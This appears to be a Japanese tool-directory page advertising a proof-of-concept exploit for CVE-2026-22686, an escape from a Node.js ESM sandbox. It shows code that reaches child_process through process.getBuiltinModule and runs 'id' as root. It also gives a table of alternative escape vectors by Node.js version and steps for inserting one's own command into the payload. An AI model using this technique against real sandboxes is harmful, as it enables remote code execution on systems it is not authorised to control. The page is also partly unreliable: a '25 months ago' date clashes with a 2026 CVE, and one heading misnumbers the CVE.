Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — CVE-2026-22686の概念実証エクスプロイト。process.getBuiltinModuleを使用してモジュール制限をバイパスし、Node.js ESMサンドボックスでリモートコード実行を実証します。 | Kitploit
ツール/GitHubGitHub/moltengama/cve-2026-22686-remotecodeexecution-rce-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペイロード開発
GitHubmoltengama/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

CVE-2026-22686の概念実証エクスプロイト。process.getBuiltinModuleを使用してモジュール制限をバイパスし、Node.js ESMサンドボックスでリモートコード実行を実証します。

リポジトリを見る
25ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ESM環境におけるRCE — require 問題

CVE-2026-22686を介してサンドボックスエスケープを達成する際、ESMプロジェクト("type": "module")でOSコマンドを実行するには、Node.jsのモジュール読み込み制限を回避する必要があります。標準的なアプローチは以下の理由で失敗します:

ベクター結果
require('child_process')❌ require is not defined — ESMでは利用不可
process.mainModule.require(...)❌ Cannot read properties of undefined — ESMではmainModuleはundefined
import('child_process')❌ A dynamic import callback was not specified — サンドボックスで設定されていないフックが必要
process.binding('spawn_sync')⚠️ 利用可能だが低レベルすぎる — 手動でのsyscall構築が必要

解決策:プロセス列挙 → process.getBuiltinModule

モジュール読み込み方法を仮定する代わりに、ホストコンテキスト(サンドボックスエスケープ後にすでにアクセス可能)から直接processキーを列挙します:

root@kitploit:~
return Object.keys(process)

返されたキーの中に、getBuiltinModuleが特定されました — Node.js 22+のネイティブAPIで、ESMモジュールが**requireやimport()なしで**Node.js組み込みモジュールにアクセスできるように特別に設計されています。

root@kitploit:~
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root)  ✅ RCE確認

これが重要な洞察です:process.getBuiltinModuleは比較的新しいAPI(Node.js >= 22.3.0)であり、requireとimportをブロックするサンドボックス実装やWAFルールによってしばしば見落とされます。


代替ベクター(Node.jsバージョン別)

ターゲット環境に応じて、processを列挙した後に他のベクターが利用可能な場合があります:

ベクターNode.jsバージョン備考
process.getBuiltinModule('child_process')>= 22.3.0✅ 最もクリーン — 公式のESM対応API
process.binding('spawn_sync')すべて⚠️ 低レベル、手動でのバッファ構築が必要
process.mainModule.require(...)CJSのみ❌ ESMではundefined
__non_webpack_require__Webpackバンドル⚠️ 環境固有
Module.createRequire(import.meta.url)>= 12.2.0⚠️ ホストからのModule参照が必要
process._linkedBinding('node_os')内部ビルド⚠️ めったに公開されない

要点: ホストコンテキストへのアクセスを達成した後は、常にObject.keys(process)を列挙してください。利用可能な攻撃面はNode.jsのバージョンとプロジェクト構成によって大きく異なります。getBuiltinModuleは、最新のNode.js ESM環境で最も信頼性の高いベクターです。

CVE-2026-2268-RemoteCodeExecution-RCE-PoC

手順:

  1. 自分のコマンドを挿入する
  2. 生成されたペイロードを脆弱なJSサンドボックスインタープリタに貼り付ける
  3. 結果を確認する
image
ツールをダウンロード